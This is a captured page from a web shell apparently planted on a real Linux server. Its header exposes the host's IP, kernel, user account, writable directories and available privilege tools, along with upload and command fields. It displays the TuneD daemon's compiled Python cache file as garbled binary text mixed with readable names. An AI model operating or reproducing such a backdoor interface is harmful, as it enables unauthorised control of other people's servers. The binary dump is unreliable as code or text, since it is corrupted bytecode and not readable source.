403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/lib/python3.6/site-packages/tuned/daemon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/lib/python3.6/site-packages/tuned/daemon/__pycache__/daemon.cpython-36.pyc
3

��cY0�@s�ddlZddlZddlZddlZddlmZddlmZddl	j
Z
ddlmZddlm
Z
ddlmZddlZejj�ZGdd�de�ZdS)	�N)�TunedException)�InvalidProfileException)�commands)�exports)�ProfileRecommenderc@seZdZd;dd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	d<dd�Z
edd��Zedd��Z
edd��Zedd��Zedd��Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd=d9d:�ZdS)>�DaemonNcCs�tjd�tj|_ttj�|_ttj�|_	tj
|_d|_|dk	r�|j
tjtj�|_t|jtjtj��|_t|jtjtj��|_	|j
tjtj
�|_|j
tjtj�|_||_|jdkr�ttj�|_|j	dkr�d|_n|j	|jkr�|j|_	|j	|j|_tjd|j�|j�r0tjd�tjd|j|j|jf�t|jd�|_||_||_|j�t�|_y|j|�Wn2t k
�r�}ztj!d	|�WYdd}~XnXdS)
Nzinitializing daemonTrFz$using sleep interval of %d second(s)z8dynamic tuning is enabled (can be overridden by plugins)zFusing update interval of %d second(s) (%d times of the sleep interval))Zis_hardcodedz:Cannot set initial profile. No tunings will be enabled: %s)"�log�debug�constsZCFG_DEF_DAEMON�_daemon�intZCFG_DEF_SLEEP_INTERVAL�_sleep_intervalZCFG_DEF_UPDATE_INTERVALZ_update_intervalZCFG_DEF_DYNAMIC_TUNING�_dynamic_tuningZ_recommend_commandZget_boolZ
CFG_DAEMON�getZCFG_SLEEP_INTERVALZCFG_UPDATE_INTERVALZCFG_DYNAMIC_TUNINGZCFG_RECOMMEND_COMMANDZCFG_DEF_RECOMMEND_COMMAND�_application�
_sleep_cycles�infor�_profile_recommender�
_unit_manager�_profile_loader�
_init_threadsr�_cmd�
_init_profiler�error)�selfZunit_manager�profile_loader�
profile_names�configZapplication�e�r�/usr/lib/python3.6/daemon.py�__init__sB



zDaemon.__init__cCs<d|_tj�|_tj�|_tj�|_|jj�tj�|_dS)N)�_thread�	threadingZEvent�
_terminate�_terminate_profile_switch�	_not_used�set�_profile_applied)rrrr r5s



zDaemon._init_threadscCs|jd�dS)zARead configuration files again and load profile according to themN)r)rrrr �reload_profile_config?szDaemon.reload_profile_configcCs�d}|jj�}|dkrP|j�\}}|dkrrd}|r<|d7}n|d7}tj|�n"|dkrr|rhtjd�n
tjd�d|_d|_g|_d|_|j	|||�dS)NTz.No profile is preset, running in manual mode. z(Only post-loaded profile will be enabledzNo profile will be enabled.�)
rZget_post_loaded_profile�_get_startup_profilerr�_profile�_manual�_active_profiles�_post_loaded_profile�set_all_profiles)rr�manual�post_loaded_profile�msgrrr rCs&


zDaemon._init_profilecCs�|pd}|j�}|jr2tjd|j�||jg}x:|D]2}||jjj�kr8d|}|j|d|�t|��q8Wy.|r�|j	j
|�|_nd|_||_|j�|_
WnJtk
r�}z.ddj|�|f}|j|d|�t|��WYdd}~XnXdS)Nr*zUsing post-loaded profile '%s'z%Requested profile '%s' doesn't exist.FzCannot load profile(s) '%s': %s� )�splitr/rrrZprofile_locatorZget_known_names�_notify_profile_changedrr�loadr,r-r.r�join)rrr1Zprofile_list�profile�errstrrrrr �_load_profiles\s*

zDaemon._load_profilescCs2|j�r"d}|j|d|�t|��|j||�dS)Nz/Cannot set profile while the daemon is running.F)�
is_runningr6rr;)rrr1r:rrr �set_profilevszDaemon.set_profilecCs4|sd|_n$t|j��dkr*d}t|��n||_dS)N�zYWhitespace is not allowed in profile names; only a single post-loaded profile is allowed.)r/�lenr5r)r�profile_namer:rrr �_set_post_loaded_profiles
zDaemon._set_post_loaded_profileFcCsV|j�r"d}|j|d|�t|��|j|�|j||�|rR|j||�|j|�dS)Nz/Cannot set profile while the daemon is running.F)r<r6rrAr;�_save_active_profile�_save_post_loaded_profile)rZactive_profilesr1r2Zsave_instantlyr:rrr r0�s
zDaemon.set_all_profilescCs|jS)N)r,)rrrr r9�szDaemon.profilecCs|jS)N)r-)rrrr r1�sz
Daemon.manualcCs|jr|jSdS)N)r,r/)rrrr r2�szDaemon.post_loaded_profilecCs|jS)N)r)rrrr �profile_recommender�szDaemon.profile_recommendercCs|jS)N)r)rrrr r�szDaemon.profile_loadercCs |jdk	rtjtj|||�|S)N)rrZsend_signalr
ZSIGNAL_PROFILE_CHANGED)rr�resultr:rrr r6�s
zDaemon._notify_profile_changedcCsj|jjddgdgd�\}}|dkr&dS|dd�dkr:dS|jjddgdgd�\}}tjd	|�dkoh|S)
NZ	systemctlzis-system-runningr)Z	no_errorsF�Zstoppingz	list-jobsz0\b(shutdown|reboot|halt|poweroff)\.target.*start)rZexecute�re�search)rZretcode�outrrr �_full_rollback_required�szDaemon._full_rollback_requiredcCs�|jdkrtd��|jj|jj�|jdj|j�|j�|j	|j
�|jj�|jj
�tjd|jj�|jrxtj�dj|j�}|j|dd�|jr�|j}xZ|jj|j|j�s�|jr�|d8}|dkr�|j}tjd�|jj�tjd	�|jj�q�W|jj�d}x.|jj|j|j��r6|d
k�r6|d7}�q
W|j j!��rJd}n<d}|j"��r||j�rptjd�d}n
tjd
�n
tjd�|j�r�|jj#|�|jj$�dS)Nz2Cannot start the daemon without setting a profile.r4z'static tuning from profile '%s' appliedTZOKr>rzupdating monitorszperforming tunings�Fz+terminating TuneD, rolling back all changesz"terminating TuneD in one-shot modez1terminating TuneD due to system shutdown / reboot)%r,rrZcreateZunitsrBr8r.r-rCr/Zstart_tuningr(r'rr�namerr�startr6rr�waitr$r
rr	Zupdate_monitorsZ
update_tuning�clearr&r%�is_setrJZstop_tuningZdestroy_all)rrZ
_sleep_cnt�iZ
full_rollbackrrr �_thread_code�sP






"


zDaemon._thread_codecCsHy|jj||�Wn0tk
rB}ztjt|��WYdd}~XnXdS)N)rZsave_active_profilerrr�str)rrr1rrrr rB�szDaemon._save_active_profilecCsFy|jj|�Wn0tk
r@}ztjt|��WYdd}~XnXdS)N)rZsave_post_loaded_profilerrrrS)rr@rrrr rCsz Daemon._save_post_loaded_profilecCs&tjd�|jj�}tjd|�|S)NzWRunning in automatic mode, checking what profile is recommended for your configuration.zUsing '%s' profile)rrrZ	recommend)rr9rrr �_get_recommended_profiles

zDaemon._get_recommended_profilecCs2|jj�\}}|dkr|dk	}|s*|j�}||fS)N)rZget_active_profilerT)rr9r1rrr r+
szDaemon._get_startup_profilecCs|jjj�S)z$Return all accessible plugin classes)r�plugins_repositoryZload_all_plugins)rrrr �get_all_pluginsszDaemon.get_all_pluginscCs.y|jjj|�}Wntk
r&dSX|jS)zReturn plugin class docstringr*)rrU�load_plugin�ImportError�__doc__)r�plugin_name�plugin_classrrr �get_plugin_documentations
zDaemon.get_plugin_documentationcCs0y|jjj|�}Wntk
r&iSX|j�S)z�Return plugin's parameters and their hints

		Parameters:
		plugin_name -- plugins name

		Return:
		dictionary -- {parameter_name: hint}
		)rrUrWrXZget_config_options_hints)rrZr[rrr �get_plugin_hints#s	
zDaemon.get_plugin_hintscCs
|jdk	S)N)r,)rrrr �
is_enabled4szDaemon.is_enabledcCs|jdk	o|jj�S)N)r"Zis_alive)rrrr r<7szDaemon.is_runningcCs`|j�rdS|jdkrdStjd�|jj�tj|jd�|_	|j
j�|jj�|j	j
�dS)NFzstarting tuning)�targetT)r<r,rrr&r'r#ZThreadrRr"r%rOr$rM)rrrr rM:s





zDaemon.startcCs||j�stjd�dS|jdkr.tjd�dS|jj�sFtjd�dS|jj�tjd|jj	�|j
j|�}|jj�|S)NzTuneD is not runningFzno profile is setzprofile is not appliedzverifying profile(s): %s)
r<rrr,r(rPr&rOrrLrZ
verify_tuningr')rZignore_missing�retrrr �verify_profileIs






zDaemon.verify_profilecCsB|j�sdStjd�|r$|jj�|jj�|jj�d|_dS)NFzstopping tuningT)r<rrr%r'r$r"r8)rZprofile_switchrrr �stop_s



zDaemon.stop)NNN)F)F) �__name__�
__module__�__qualname__r!rr)rr;r=rAr0�propertyr9r1r2rDrr6rJrRrBrCrTr+rVr\r]r^r<rMrarbrrrr rs8
$
	

	>
r)�os�errnor#Z
tuned.logsZtunedZtuned.exceptionsrZtuned.profiles.exceptionsrZtuned.constsr
Ztuned.utils.commandsrrZtuned.utils.profile_recommenderrrGZlogsrr�objectrrrrr �<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit